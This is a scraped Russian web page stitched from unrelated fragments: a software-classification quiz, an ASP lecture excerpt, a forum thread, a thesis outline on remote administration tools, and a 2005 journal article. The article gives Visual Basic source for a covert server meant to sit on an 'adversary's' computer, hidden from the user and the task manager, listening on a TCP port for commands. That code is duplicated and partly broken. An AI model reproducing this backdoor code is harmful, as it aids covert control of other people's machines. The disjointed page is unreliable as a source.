Asp способы разработки программного администрирования


Содержание

Прикладное программное обеспечение для организации (администрирования) вычислительного процесса

Прикладное программное обеспечение для глобальных сетей

Проблемно-ориентированное прикладное программное обеспечение

Методо-ориентированное прикладное программное обеспечение

Прикладное программное обеспечение общего назначения

Прикладное программное обеспечение общего назначения – это универсальные программные продукты, предназначенные для автоматизации разработки и эксплуатации функциональных задач пользователя и информационных систем в целом.

К этому классу ППП относятся:

§ Текстовые и графические редакторы;

§ Системы управления базами данных (СУБД);

§ Оболочки экспертных систем и систем искусственного интеллекта.

Методо-ориентированное прикладное программное обеспечение отличается тем, что в его алгоритмической основе реализован какой-либо экономико-математический метод решения задачи.

К ним относятся ППП:

§ математического программирования (линейного, динамического, статистического);

§ сетевого планирования и управления;

§ теории массового обслуживания;

Примером таких программ могут служить программы Time Line, Microsoft Project, Sure Trak, Open Plan Professional.

Проблемно-ориентированное прикладное программное обеспечение — это программные продукты, предназначенные для решения какой-либо задачи в конкретной функциональной области.

Из всего многообразия проблемно-ориентированных ПО можно выделить группы, предназначенные для комплексной автоматизации функций управления в промышленной и непромышленной сферах, а также ППП для предметных областей.

Основным назначением глобальных вычислительных сетей является обеспечение удобного, надёжного доступа пользователя к территориально распределённым общесетевым ресурсам, базам данных, передаче сообщений. Для организации электронной почты, конференций, электронной доски объявлений, обеспечения секретности передаваемой информации в различных глобальных сетях используются стандартные (в этих сетях) пакеты прикладных программ.

В качестве примера можно привести программное обеспечение глобальной сети Интернет:

§ средства доступа и навигации — Netscape Navigator, Microsoft Internet Explorer;

§ почтовые программы для электронной почты – (e-mail). Наиболее распространёнными в настоящее время являются MS Outlook Express, The Bat, Eudora и почтовая программа из пакета Netscape Messenger.

Для этих целей в локальных и глобальных вычислительных сетях более чем в 50% систем мира используется ППП фирмы Bay Networks (США), управляющий администрированием данных, коммутаторами, концентраторами, маршрутизаторами, трафиком сообщений.

Вопросы для самоконтроля:

1. Что понимается под программным обеспечением?

2. Какие основные функции выполняет базовое ПО?

3. Какое назначение основных групп прикладного ПО?

4. Какие программные средства относятся к базовому ПО?

5. Какое прикладное ПО относится к классу универсальных?

6. Какое прикладное ПО относится к классу проблемно-ориентированных?

7. В чём особенности операционной системы windows?

Графическое представление в виде последовательности блоков, соединённых стрелками.

1. Схема алгоритма (блок-схема).

2. Система управления базами данных (СУБД).

3. Системные программы.

4. Операционная система.

Заранее заданное понятное и точное предписание возможному исполнителю совершить определенную последовательность действий для получения решения задачи за конечное число шагов это:

2. Электронная таблица.

Во время исполнения программа находится в

1. оперативной памяти

Программы общего пользования, выполняемые вместе с прикладными и служащие для управления ресурсами компьютера — центральным процессором, памятью, вводом-выводом.

1. Системные программы.

2. Операционная система.

3. Система управления базами данных

Выведенный на экран дисплея список различных вариантов работы компьютера, по которому можно сделать конкретный выбор.

Специально написанная небольшая программа, которая может «приписывать» себя к другим программам для выполнения каких-либо вредных действий — портит файлы, «засоряет» оперативную память.

Система пересылки сообщений между пользователями вычислительных систем, в которой компьютер берёт на себя все функции по хранению и пересылке сообщений.

1. Электронная почта.

4. Информационно-поисковая система

Комплекс взаимосвязанных программ, предназначенных для автоматизации планирования и организации процесса обработки программ, ввода-вывода и управления данными, распределения ресурсов, подготовки и отладки программ, других вспомогательных операций обслуживания. Важнейшая часть программного обеспечения.

1. Операционная система.

2. Системные программы

3. Система управления базами данных

Программы, расширяющие возможности операционной системы по управлению устройствами ввода-вывода, оперативной памятью и т.д.; с помощью этой программы возможно подключение к компьютеру новых устройств или нестандартное использование имеющихся устройств.

2. Антивирусные программы

3. Системные программы

4. Операционная система

Программы, предотвращающие заражение компьютерным вирусом и ликвидирующие последствия заражения это:

1. Антивирусные программы

2. Системные программы

3. Операционная система

Специальность (шифр), форма обучения 030503.51, форма обучения дневная
Название дисциплины «Информационные технологии в профессиональной деятельности»
Курс, семестр 3 курс, 5 семестр
Ф.И.О. преподавателя – разработчика программы Комина Лидия Вениаминовна

Не нашли то, что искали? Воспользуйтесь поиском:

Лучшие изречения: Только сон приблежает студента к концу лекции. А чужой храп его отдаляет. 8807 — | 7523 — или читать все.

188.64.174.135 © studopedia.ru Не является автором материалов, которые размещены. Но предоставляет возможность бесплатного использования. Есть нарушение авторского права? Напишите нам | Обратная связь.

Отключите adBlock!
и обновите страницу (F5)

очень нужно

Программирование на ASP

С помощью ASP программист может быстро создавать веб-приложения на сервере Windows , использующем IIS третьей версии (или выше). ASP вышла в свет в то время, когда между собой соперничали технологии программирования Common Gateway Interface (CGI) и Perl, используемые многими программистами для разработки веб-приложений. ASP прекрасно вписывается в стратегию Microsoft ActiveX, поскольку обеспечивает функциональность, инкапсулированную в компоненты COM , и позволяет разработчикам реализовывать n-звенные решения с помощью ASP и COM .

Примечание. Листинги кода в этой лекции доступны на веб-сайте автора http://mapobject.com/iis6/.

Общая архитектура ASP

Файлы ASP представляют собой сценарии, интерпретируемые по мере поступления запросов. Расширение ISAPI по имени ASP.DLL связано в IIS с файлами, имеющими расширения .asp или . asa (см. рис. 12.1). ASP.DLL просматривает файлы . asp на предмет наличия тегов, обозначающих внедренный код для выполнения на сервере. ASP.DLL передает код сценария в Windows Script Host (WSH). WSH выполняет этот код и возвращает ответ файлу ASP.DLL , который, в свою очередь , передает IIS результат выполнения сценария и содержимое самого файла ASP . IIS возвращает ответ программному обеспечению, от которого поступил запрос . ASP.DLL не выполняет обработку функций подтверждения, написанных на JavaScript, которые имеются в ASP и предназначены для выполнения в веб-браузере или программе, запрашивающей файл ASP .

Примечание. При изложении материала данной лекции будем считать, что клиент обращается к программному обеспечению, запрашивающему файл с веб-сервера.

В стандартных отношениях сервер / браузер браузер является клиентом. Клиент отсылает запросы на веб- сервер , который возвращает запрошенный файл . Если это файл ASP , то веб- сервер выполняет некоторые действия перед тем, как возвратить ответ клиенту. Работа технологии ASP , как правило, изменяет возвращаемый клиенту ответ.

Технология ASP предлагает замечательный механизм склеивания (glying) различных систем и программного обеспечения, который позволяет разработчику легко управлять данными, поступающими к службам IIS и от них, не испытывая при этом сложностей, возникающих при работе с протоколом HTTP и IIS .

Предлагаемые ASP классы обеспечивают хороший уровень абстракций HTTP — и веб-сервера, что отличает данную технологию от таких конкурентов, как Perl и CGI .

В некоторых случаях бизнес-логика инкапсулируется в объекты COM . Если COM — объект предоставляет интерфейс , доступ к которому осуществляется при помощи VBScript или Jscript, то ASP функционирует как механизм управления. В лекции 1 курса » Программирование в IIS » подробно рассказывается о работе с COM -объектами в ASP .

Разработка программного комплекса удаленного администрирования для операционных систем семейства Windows Текст научной статьи по специальности « Автоматика. Вычислительная техника»

Аннотация научной статьи по автоматике и вычислительной технике, автор научной работы — Медведев Н. В., Гришин Г. А.

Рассмотрены основные подходы к использованию инструментальных средств разработки клиент-серверных систем с использованием Microsoft Visual Studio 6.0 на языке VisualBasic. Для создания подобного рода систем предложено использовать библиотеку функций Microsoft Winsock Control. Рассмотрены особенности и краткое описание данной библиотеки, являющейся составной частью операционной системы Windows. Представлен программный код для клиента (управляющей программы) и сервера (программы-агента).

Похожие темы научных работ по автоматике и вычислительной технике , автор научной работы — Медведев Н. В., Гришин Г. А.,

Текст научной работы на тему «Разработка программного комплекса удаленного администрирования для операционных систем семейства Windows»

Н. В. Медведев, Г. А. Гришин

РАЗРАБОТКА ПРОГРАММНОГО КОМПЛЕКСА УДАЛЕННОГО АДМИНИСТРИРОВАНИЯ ДЛЯ ОПЕРАЦИОННЫХ СИСТЕМ СЕМЕЙСТВА WINDOWS

Рассмотрены основные подходы к использованию инструментальных средств разработки клиент-серверных систем с использованием Microsoft Visual Studio 6.0 на языке VisualBasic. Для создания подобного рода систем предложено использовать библиотеку функций Microsoft Winsock Control. Рассмотрены особенности и краткое описание данной библиотеки, являющейся составной частью операционной системы Windows. Представлен программный код для клиента (управляющей программы) и сервера (программы-агента).

Применение компьютерной техники для сбора, обработки и передачи данных дает возможность противнику осуществлять спланированные действия по информационному воздействию на подобные системы.

В настоящей статьей будут рассмотрены основные подходы к разработке систем удаленного администрирования для операционных систем семейства Windows. Подобные системы представляют собой клиент-серверную архитектуру, в которой клиент — это программа, осуществляющая посредством пользовательского интерфейса управление сервером. Сервер находится на вычислительной машине противника и он скрыт как от пользователя, так и от диспетчера задач. Во время работы сервер открывает заранее установленный порт и ждет обращения клиента. Общение клиента и сервера осуществляется, как правило, по протоколу транспортного уровня TCP. После установления соединения между клиентом и сервером выдаются определенные команды серверу. После чего сервер их исполняет и по окончании отсылает результаты своей работы клиенту.

Сначала напишем серверную часть программного комплекса.

Для этого создаем новый проект на Visual Basic в виде стандартного исполняемого файла с расширением «*.exe» . Далее подключаем к нему Microsoft Winsock Control: в меню «Project»^»Components. «.

Если его в списке этой библиотеки нет, то нажимаем «Browse» и выбираем файл «mswinsck.ocx». После этого присоединяем эту библиотеку к форме проекта. Библиотека необходима для связи клиентской и серверной частей по TCP-протоколу. Далее изменяем форму: убираем заголовок, делаем малыми размеры и свойство формы visible, ставим указатель на «False». Это значит, что сервер не будет виден для поль-

зователя. У компонента меняем имя на «ws» и свойству «LocalPort» присваиваем число, которое и будет номером порта общения двух программ, например 12345.

Теперь попробуем запустить программу. У нас ничего не должно появиться. Завершаем работу программы нажатием кнопки «Стоп». Запишем код программы в «Form_Load»: Private Sub Form_Load()

If ws.State <> sckConnected And ws.State <> sckListening Then ws.Close ws.Listen End If DoEvents Loop End Sub

В данной функции рассматривается ситуация, когда у сервера отсутствует соединение с клиентом. Программа закрывает связь и открывает порт 12345 в ожидании клиента. Условие на установление связи нужно повторять во время работы программы, чтобы избежать разрыва связи. Сервер начинает «слушать» порт, затем подключается удаленный компьютер, а после его отключения порт не будет прослушиваться. Значения, которые может принимать свойство «State», приведены в таблице.

Значения, принимаемые свойством «State»

Константа Значение Описание

SckClosed 0 Запуск программы или порт закрыт

SckOpen 1 Порт открыт

SckListening 2 Порт прослушивается


sckConnectionPending 3 Режим ожидания соединения

sckResolvingHost 4 Ожидание разрешения на соединение с

sckHostResolved 5 Соединение разрешено

sckConnecting 6 Подключение к серверу

sckConnected 7 Связь с сервером установлена

sckClosing 8 Связь с сервером закрывается

sckError 9 Ошибка соединения

Теперь нужно подключить клиента. Для этого необходимо написать функцию «ws_ConnectionRequest».

Private Sub ws_ConnectionRequest(ByVal requestID As Long) ws.Close

ws.Accept requestID End Sub

В функции «ws_ConnectionRequest» сначала прекращается прослушивание порта, а затем подсоединяется клиент по номеру его запроса. На этом код соединения двух программ завершен. Далее запишем код для функции «ws_DataArrival». Он будет вызываться, когда будут приходить данные от сервера.

Private Sub ws_DataArrival(ByVal bytesTotal As Long) Dim Data As String ws.GetData Data Select Case Data Case «MSG»

MsgBox «Поступили данные от сервера» Case «END»

End End Select End Sub

В этой функции сначала объявляем переменную «Data», которая будет содержать пришедшие данные, а затем запишем их. После этого просматривают все возможные варианты, т. е. команды, которые могли прийти от сервера. Здесь их две: MSG, END, теперь остается скомпилировать программу. Назовем ее «server.exe».

Приступим к написанию клиентской части. Создадим новый проект и форму.

Поставим на форму два текстовых поля и назовем их «IP» и «Port», нажимаем две кнопки с надписями «Подключиться» и «Отключиться», и три кнопки с надписями «Сообщение» и «Закрыть сервер». Имена кнопок оставим по умолчанию. Теперь добавим «Winsock Control» и назовем его «ws». Поскольку наш сервер работает на порту 12345, то свойству «Text» второго текстового поля можно сразу присвоить значение 12345. Текст первого поля — значение «IP» адреса данного компьютера. Для этого напишем следующую функцию:

Private Sub Form_Load() IP.Text = ws.LocalIP End Sub

Private Sub Command1_Click() ws.Close

ws.RemoteHost = IP ws.RemotePort = Port ws.Connect End Sub

Private Sub Command2_Click()

ws.Close End Sub

Нажимая на кнопку «Подключиться», закрываем связь, указываем удаленный IP-адрес сервера, порт-12345 и подключаемся. Кнопка «Отключиться» просто закрывает связь с сервером. Private Sub Command4_Click() If ws.State <> sckConnected Then Exit Sub

ws.SendData «MSG» End Sub

Private Sub Command5_Click()

If ws.State <> sckConnected Then Exit Sub

ws.SendData «END» End Sub

В последних двух функциях программа сначала проверяет связь, и если соединено, то отправляет команды.

Теперь компилируем программу, назовем ее «client.exe». Можно протестировать программный комплекс скрытого администрирования. Для этого запустим «server.exe», а затем «client.exe» и попробуем подключиться. Если не было ошибок, то нажимаем на кнопки команд. Теперь сервер необходимо скрыть для диспетчера задач.

Private Declare Function RegisterServiceProcess Lib _

«kernel32.dll» (ByVal dwProcessId As Long, ByVal _

dwType As Long) As Long

Private Sub Form_Load()

RegisterServiceProcess 0, 1

If ws.State <> sckConnected And ws.State <> sckListening Then ws.Close ws.Listen End If DoEvents Loop End Sub

Чтобы скрыть процесс работы сервера, необходимо обратиться к системной библиотеке «kernel32.dll»

Private Sub Form_Load() Do

If ws.State <> sckConnected And ws.State <> sckListening Then ws.Close ws.Listen End If

DoEvents Loop End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long) ws.Close

ws.Accept requestID End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long) Dim Data As String ws.GetData Data Select Case Data Case «MSG»

MsgBox «Поступили данные от сервера» Case «END»

End End Select End Sub

Private Sub Form_Load() IP.Text = ws.LocalIP End Sub

Private Sub Command1_Click() ws.Close

ws.RemoteHost = IP ws.RemotePort = Port ws.Connect End Sub

Private Sub Command2_Click()

ws.Close End Sub

Private Sub Command4_Click()

If ws.State <> sckConnected Then Exit Sub

ws.SendData «MSG» End Sub

Private Sub Command5_Click()

If ws.State <> sckConnected Then Exit Sub

ws.SendData «END» End Sub

Private Declare Function RegisterServiceProcess Lib _ «kernel32.dll» (ByVal dwProcessId As Long, ByVal _ dwType As Long) As Long

Private Sub Form_Load() RegisterServiceProcess 0, 1 Do

If ws.State <> sckConnected And ws.State <> sckListening Then ws.Close ws.Listen End If DoEvents Loop End Sub

Выводы. Приведены основные базовые элементы для построения подобных программных систем. С использованием предложенного подхода можно разрабатывать системы удаленного администрирования для решения поставленных задач.

1. Кроуфорд Ш., Рассел Ч. Справочник администратора Windows 2000. — СПб.: Эком, 2004. — 1300 с.

2. З е г ж д а Д. П., И в а ш к о А. М. Основы безопасности информационных систем. — М.: Горячая линия-Телеком, 2000. — 232 с.

3.Гриняев С. Н. Интеллектуальное противодействие информационному оружию. — М.: СИНТЕГ, 1999. — 368 с.

Статья поступила в редакцию 20.04.2005

Николай Викторович Медведев родился в 1954 г., окончил в 1977 г. МВТУ им. Н.Э. Баумана. Канд. техн. наук, зав. кафедрой «Информационная безопасность» МГТУ им. Н.Э. Баумана. Автор более 45 научных работ в области исследования и разработки защищенных систем автоматической обработки информации.

N.V. Medvedev (b. 1954) graduated from the Bauman Moscow Higher Technical School in 1977. Ph. D. (Eng.), head of «Data Safety» department of the Bauman Moscow State Technical University. Author of more than 45 publications in the field of study and development of secured systems of automatic data processing.

Георгий Александрович Гришин родился в 1979 г., окончил МГТУ им. Н.Э. Баумана в 2003 г. Канд. техн. наук, доцент кафедры «Информационная безопасность» МГТУ им. Н.Э. Баумана. Автор 8 научных работ в области информационной безопасности.

Разработка программного обеспечения или системное администрирование ?

Системный администратор — профессия. А программист — это образ жизни.

Наверное, получилось слишком расплывчато и субъективно =)

Программист — разработчик (ну, как минимум, в перспективе, если не хочется оставаться просто говнокодером). Он создает новые решения и инструменты. обычно программист является таковым по характеру и круглосуточно. Бонус от умения создавать что-то новое состоит в том, что можно применить свои умения без работодателя. Например, сделать стартап или свою программу (однако же, самодеятельность далеко не все программисты любят).
Системный администратор — управитель. Он умеет применять необходимые инструменты в нужное время в нужном месте. Порой умеет удачно применять инструменты в тех случаях, о которых разработчик инструмента даже не догадывался. Однако свои навыки можно применить только при наличии спроса на них (многие ли администрируют сервера для досуга?).

Профессии практически перпендикулярны, но не параллельны.
Разница примерно такая же, как между авиаконструктором и летчиком сверхзвукового истребителя. Оба знают, как устроен самолет, оба знают, как летать. Но умение сооружать или летать у каждого совершенно разное.

Просто попробуй понять, кем больше нравится быть — «кузнецом» или «мечником».

(Вечно у меня излишне лиричные посты получаются, но мысль донес, надеюсь)

@Patroskan
фиговатенькие у вас представления об администрировании +)
Ну то есть либо вы всех админов считаете лампоадминами, либо плохо представляете, в чём заключается профессия.
И уж это точно образ жизни, а не просто профессия.

Во первых, хороший админ всегда менеджер — организовывает команду разработки (если есть команда), релизы, вырабатывает баланс между чем-либо в проекте (стоимость/производительность, стоимость/надежность). В конце концов, 50% работы админа — общаться.
Во вторых, админу необходимо разбираться очень во многом, а ещё о куда большем иметь представления — начиная от всех сетевых протоколов и заканчивая политикой в разных странах на тему порнографии. Это интересно. Все админы, с которыми я знаком, достаточно начитаны, знакомы с ситуацией в мире.
В третьих, хороший админ всегда немного разработчик. Не бог весть какой, обычно, но достаточно для того, чтобы написать свой стартап на коленке. За своей разработкой приходится читать код, ревьювить, искать боттлнеки, дебажить всем вместе и много всего прочего.
В четвертых, админы не зря называются системными — их работа всё же строить огроменные географически распределенные кластера и разбираться в этих адовых конструкциях. Далеко не каждый разработчик способен на такое. И уж сравнение с «мечником» здесь совсем не в тему.
В пятых админам необходимо учить людей, объяснять им очень многое. В том числе и разработчикам.

В общем, «махать мечом» — очень маленькая часть моей работы, например. И, кстати, сервера just for fun я админю ;)

А времена бородатых дядек в свитерах давно прошли. Лет 5 назад.

Разработка программного обеспечения удаленного администрирования и управления локальной вычислительной сетью

Обоснование выбора технологии и программных средств для разработки утилиты. Требования к функциональным характеристикам и моделирование предметной области. Спецификация вариантов использования и расчет показателей экономической эффективности проекта.

Рубрика Программирование, компьютеры и кибернетика
Вид дипломная работа
Язык русский
Дата добавления 13.12.2013
Размер файла 1,1 M

Отправить свою хорошую работу в базу знаний просто. Используйте форму, расположенную ниже

Студенты, аспиранты, молодые ученые, использующие базу знаний в своей учебе и работе, будут вам очень благодарны.

Размещено на http://www.allbest.ru/

Размещено на http://www.allbest.ru/

программный утилита моделирование

1. Анализ предметной области

1.1 Цель разработки

1.2 Область применения

1.3 Обоснование выбора технологии и программных средств для разработки утилиты

1.4 Определения, термины и сокращения

2. Детальные требования

2.1 Требования к функциональным характеристикам

2.2 Нефункциональные требования

2.3 Пользовательские интерфейсы

2.4 Аппаратные интерфейсы

2.5 Программные интерфейсы

2.6 Требования к реализации


3. Специальная часть

3.1 Моделирование предметной области

3.2 Спецификация вариантов использования

3.3 Моделирование динамических аспектов системы

3.4 Статический вид системы

5. Обоснование экономической эффективности проекта

5.1 Выбор и обоснование методики расчета экономической эффективности

5.2 Расчет показателей экономической эффективности проекта

5.3 Расчет экономии затрат от внедрения разработанной программы

Список использованной литературы

В настоящее время ни одна организация или предприятие не обходится без использования сетевых технологий.

Удаленное администрирование — это первую очередь выгодное решение для системных администраторов крупных организаций, позволяющее администрировать офисные компьютеры, не покидая своего рабочего места и эффективно использовать свое рабочее время.

Выгода и польза удаленного администрирования очевидна:

— исключается необходимость вызова IT-персонала при возникновении неполадок;

— исключается возможность внезапной остановки работы из-за определенных неисправностей, так как данная услуга позволяет осуществлять непрерывный онлайн аудит системы и вовремя диагностировать и устранять проблемы по средствам удаленного рабочего стола;

— нет необходимости подолгу ожидать специалиста, чтобы узнать, как подключится к компьютеру друга, так как при возникновении неполадок специалисты, осуществляющие дистанционный контроль над состоянием системы, могут приступить к их устранению незамедлительно, задействовав визуальное управление.

Существует определенный объем задач, для оперативного выполнения которых необходимо соединение всех компьютеров единой локальной сетью. Этот «организм» должен функционировать очень четко.

В ходе администрирования сети возникает необходимость удаленного управления всеми компьютерами этой сети.

Удаленное управление включает в себя:

— подключение к удаленному компьютеру;

— управление приложениями и процессами удаленного компьютера;

— управление устройствами удаленного компьютера;

— получение полной системной информации об удаленном компьютере;

— учет сетевого трафика;

— использование учетных записей и иерархии active directory;

— обеспечение безопасности и целостности передаваемой по сети информации путем шифрования;

— визуальное управление удаленным компьютером.

Целью дипломной работы является разработка программного обеспечения для администрирования корпоративной сети. ПО выполнено с использованием технологии «клиент-сервер» с, так называемым, «толстым клиентом», на базе которой создана утилита для удаленного администрирования.

В первой главе идет общее описание технологий, сравнительная характеристика уже существующих решений на рынке программного обеспечения, описание среды разработки и языка программирования, использованных при создании утилиты.

Во второй главе описаны пользовательский, аппаратный и программные интерфейсы, а также функциональные и нефункциональные требования.

В третьей главе речь идет об этапах моделирования области применения и проектировании всей системы в целом.

Четвертая глава посвящена тестированию утилиты на заявленный функционал. В частности рассматривается контрольный пример вызова основных функций приложения.

В пятой главе проведены технико-экономические расчеты, на основе которых происходит анализ целесообразности и экономической эффективности созданной утилиты.

1 . Анализ предметной области

1.1 Цель разработки

Цель данной работы заключается в исследовании технологий и архитектуры «клиент-сервер» и создании на их базе утилиты для удаленного администрирования.

Работа имеет следующие ключевые цели:

а) исследование проблемы администрирования локальных сетей;

б) исследование возможностей технологии «клиент-сервер»;

в) проектирование приложения, обеспечивающего функционал для удаленного администрирования;

г) написание программы для удаленного администрирования;

д) создание удобного установщика, включающего программу и все необходимые библиотеки и расширения.

Для этих целей уже существует множество решений. Но, большинство этих решений, являются платными и, при удаленном управлении, могут быть использованы в качестве вирусов-троянов. Примеры таких программ: Radmin, Remote Manipulator System, Team Viewer и др. Все эти программы разные, но принцип работы везде один:

— узнать DNS имя или IP-адрес удаленного компьютера;

— используя remote procedure call или сокетное соединение установить связь;

— получить возможность управления устройствами и приложениями удаленного компьютера.

Переход организации к использованию разрабатываемого в ходе дипломного проектирования приложения Remote Administration Tools позволяет сэкономить на покупке лицензионного программного обеспечения.

Преимущества использования Remote Administration Tools:

— приложение полностью бесплатно;

— постоянное совершенствование решения;

— возможность изменения эргономики и дизайна по требованию пользователя.

Приложение состоит из двух частей — клиентской (управляющей) и серверной (управляемой).

Полное наименование приложения — Remote Administration Tools.

Краткое наименование приложения — RAT.

1.2 Область применения

Утилита Remote Administration Tools — одна из многих утилит на рынке программного обеспечения, позволяющая в короткие сроки подключиться к удаленным компьютерам и произвести на расстоянии действия по администрированию одновременно нескольких рабочих станций.

Работа приложения построена на базе клиент-серверной технологии и подразумевает наличие хотя бы одного сервера (управляемый компьютер) и одного «толстого клиента» (управляющий компьютер).

Область применения данной технологии включает:

а) установление постоянного соединения между клиентской и серверной машинами;

б) использование ресурсов сервера для проведения вычислительных операций;

в) обеспечение надежности при обмене сообщениями между клиентом и сервером;

г) возможность управления процессами серверного компьютера через удаленный клиентский компьютер;

д) возможность управления устройствами серверного компьютера через удаленный клиентский компьютер;

е) возможность визуального управления над серверным компьютером через удаленный клиентский компьютер.

Когда-то программы для удаленного администрирования были нужны только на предприятиях, где одному человеку приходится обслуживать десятки, а то и сотни компьютеров, которые расположены в разных кабинетах и на разных этажах. Сегодня сфера их применения гораздо шире.

Во-первых, во многих квартирах больше одного компьютера, и между ними для более быстрой передачи информации протянута сеть. Если компьютеры стоят в разных комнатах, то программа для удаленного администрирования дает возможность работать на двух ПК одновременно, не вставая со стула.

Во-вторых, как правило, люди постоянно работают с двумя компьютерами — домашним и рабочим. Программы для удаленного администрирования позволяют через Интернет следить за тем, что происходит на другом компьютере, поэтому, сидя дома, можно контролировать компьютер на рабочем месте.

Одним словом, программа для удаленного администрирования просто необходима каждому, в чьем распоряжении находится более одного компьютера.

Большинство программ для удаленного администрирования состоят из двух частей — сервера и клиента (его еще называют вьювер или просмотрщик). Первый устанавливается на удаленной машине, то есть, на той, которой нужно управлять. Клиентская часть ставится на компьютере, с которого вы планируете управлять другим ПК.

Для того чтобы клиент работал, на удаленном ПК обязательно должна быть запущена серверная часть, поэтому при установке на удаленном ПК программу лучше сразу поместить в «Автозагрузку».

Кроме этого, если на компьютерах используется брандмауэр, нужно обязательно создать правило, разрешающее работу с приложениями для удаленного администрирования, иначе брандмауэр может решить, что подключение к ПК — это атака извне и не допустить подключения.

Remote administrator (Radmin):

— поддерживаемые ос: windows 9x/nt/2k/xp/2k3/vista;

— условия распространения: shareware;

— официальный сайт: www.radmin.com.

Radmin — программа для удаленного администрирования компьютеров, работающих под управлением Windows. Используя Radmin, вы можете с помощью обычного графического интерфейса одновременно и полноценно администрировать несколько удаленных компьютеров.

— интеграция с системой безопасности windows. radmin полностью поддерживает ntlmv2, active directory, Kerberos;

— безопасная передача трафика. все передаваемые данные шифруются по стандарту aes;

— собственная система безопасности. radmin позволяет создавать собственные учетные записи, наделяя их определенными правами;

— фильтрация ip-адресов клиентов. для повышения безопасности можно давать разрешение для подключения к серверу клиентов только с определенных хостов;

— ведение логов. В лог попадает имя подключившегося пользователя и его ip-адрес;

— защита от угадывания пароля. radmin позволяет пресечь подбор пароля, устанавливая блокировки после нескольких попыток неправильного ввода.

— передача файлов на удаленный ПК;

— получение вида удаленного рабочего стола;

— поддержка нескольких одновременных соединений;

Умеренные требования к ресурсам системы, высокая безопасность и широкие возможности делают Radmin отличным инструментом для использования в корпоративной среде.

DameWare NT Utilities:

— поддерживаемые ос: windows nt/2k/xp/2k3/vista;

— условия распространения: shareware;

— официальный сайт: www.dameware.ru.

DameWare NT Utilitiest — находка для любого системного администратора. Используя этот «чемоданчик» инструментов, можно забыть о большинстве решений, которые предоставляет стандартная консоль MMC.

— шифрование трафика на основе crypto api;

— возможность аутентификации по смарт-карте;

— поддержка системы безопасности серверных версий windows, интеграция с activedirectory;

— собственная система безопасности;

— ограничение подключения по IP-адресам.

— мощный браузер объектов ActiveDirectory. С помощью данной функции можно легко и быстро управлять такими объектами AD как Organizational Units, Контейнеры, Пользователи, Группы, Контакты, Компьютеры, Общие ресурсы и т.д. Причем управлять объектами AD с помощью DNTU гораздо удобнее, чем с помощью стандартных средств;


— большое количество встроенных утилит для управления различными ресурсами удаленного пк: службы, диски, процессы, реестр, принтеры и т.д.;

— встроенные tcp-утилиты: ping, traceroute, mx test и другие;

— удаленный вид рабочего стола.

DameWare NT Utilities возможностей для администрирования предоставляет гораздо больше, чем Radmin, но относительно безопасности ему проигрывает. DNTU лучше использовать внутри локальной сети, а для администрирования удаленных офисов стоит использовать VPN.

— поддерживаемые ос — windows 2000/xp/2003/vista, linux;

— условия распространения gpl;

— официальный сайт — www.tightvnc.com.

Tight VNC — одна из немногих программ для удаленного администрирования, которая распространяется бесплатно и имеет версии как под Unix-like системы, так и Windows. Хоть ее функционал не так богат, это хорошая находка для администраторов, которым приходится одновременно администрировать Windows/Unix серверы.

Безопасность: собственная система безопасности.

— удаленный вид рабочего стола;

Remote Office Manager — это программа для удаленного администрирования и управления компьютерами, специально разработанная, как для небольших сетей, так и для крупных организаций с большим количеством компьютеров и сложной топологией сети. Программа облегчает выполнение и решение сложных административных задач и проблем, позволяет снизить потери времени на оказание технической поддержки, а так же дает возможность контролировать работу пользователей компьютеров.

Программа не предъявляет жестких требований к аппаратному и программному обеспечению, поддерживает современные операционные системы Windows Vista и 2008 Server.

Поработав некоторое время с программой, Вы сами почувствуете все преимущества ROM, помогающие сделать Вашу работу удобной и комфортной.

— высочайшая производительность, как в локальной, так и в медленных сетях;

— полная совместимость с Windows Vista;

— широкий спектр режимов работы программы — передача файлов, удаленный диспетчер задач, wake on LAN и многое другое;

— удаленная установка. доступно несколько видов удаленной установки, в т.ч. в домене, с использванием групповой политики безопасности и msi;

— безопасность. все данные шифруются с использованием современных технологий и протоколов обмена ключами (rsa с 2048 битным ключом обмена и aes с 256 битным сеансовым ключом);

— возможность настроить программу на работу в условиях сложной топологии сети, благодаря таким функциям, как «соединение через» и «обратное соединение»;

— поддержка нескольких соединений;

— бесплатная техническая поддержка [1].

В таблице 1 отображены сравнительные характеристики рассмотренных программ для удаленного администрирования.

Сравнительные характеристики программ удаленного администрирования

DameWare NT Utilities

Поддержка Vista (32 bit)

Поддержка Vista (64 bit)

Интеграция с системой безопасности Windows

Своя система безопасности

DameWare NT Utilities

Синхронизация буфера обмена

Защита от атак BruteForce

Оптимизация передаваемого трафика

Аутентификация по смарт-карте

Поддержка протокола Kerberos

Просмотр вида удаленного рабочего стола

Telnet позволяет пользователю установить TCP-соединение с сервером и затем передавать коды нажатия клавиш так, как если бы работа проводилась на консоли сервера. TELNET (RFC-854, в некоторых реализациях tn) служит для выполнения удаленного доступа к вычислительным ресурсам и базам данных (например, к базам ядерных данных в Вене, Брукхейвене или STN-international в Карлсруэ). Для входа в базу данных или ЭВМ обычно нужна аутентификация (ввод имени-идентификатора пользователя и его слова-пропуска). В некоторых реализациях допускается использование параметров, которые подключают необходимые эмуляторы терминалов [2].

Telnet предлагает три услуги:

а) определяет сетевой виртуальный терминал (nvt — network virtual terminal), который обеспечивает стандартный интерфейс к удаленной системе;

Илон Маск рекомендует:  Защищенный режим работы процессора. Информация о процессоре, регистры.

б) включает механизм, который позволяет клиенту и серверу согласовать опции обмена;

в) обеспечивает симметрию соединения, допуская любой программе (например ftp) выступать в качестве клиента [3].

Протокол TELNET позволяет обслуживающей машине рассматривать все удаленные терминалы как стандартные «сетевые виртуальные терминалы» строчного типа, работающие в кодах ASCII, а также обеспечивает возможность согласования более сложных функций (например, локальный или удаленный эхо-контроль, страничный режим, высота и ширина экрана и т. д.). На прикладном уровне над TELNET находится либо программа поддержки реального терминала, либо прикладной процесс в обслуживающей машине, к которому осуществляется доступ с терминала. Формат NTV достаточно прост. Для данных используются 7-битовые ASCII коды. 8-битовые же октеты зарезервированы для командных последовательностей.

Telnet взаимодействует с другой ЭВМ через протокол TELNET. Если команда TELNET вводится без аргументов ЭВМ переходит в командный режим, напечатав приглашение telnet>. В этом режиме она воспринимает и исполняет команды, описанные ниже.

При вводе TELNET с аргументами программа осуществит связь вашей ЭВМ с удаленным компьютером, имя или адрес которого вы ввели в качестве одного из аргументов.

После того как TELNET связь установлена, начинаются переговоры об используемых опциях (Таблица). Каждая из договаривающихся сторон может послать другой один из четырех запросов will, do, wont и dont.

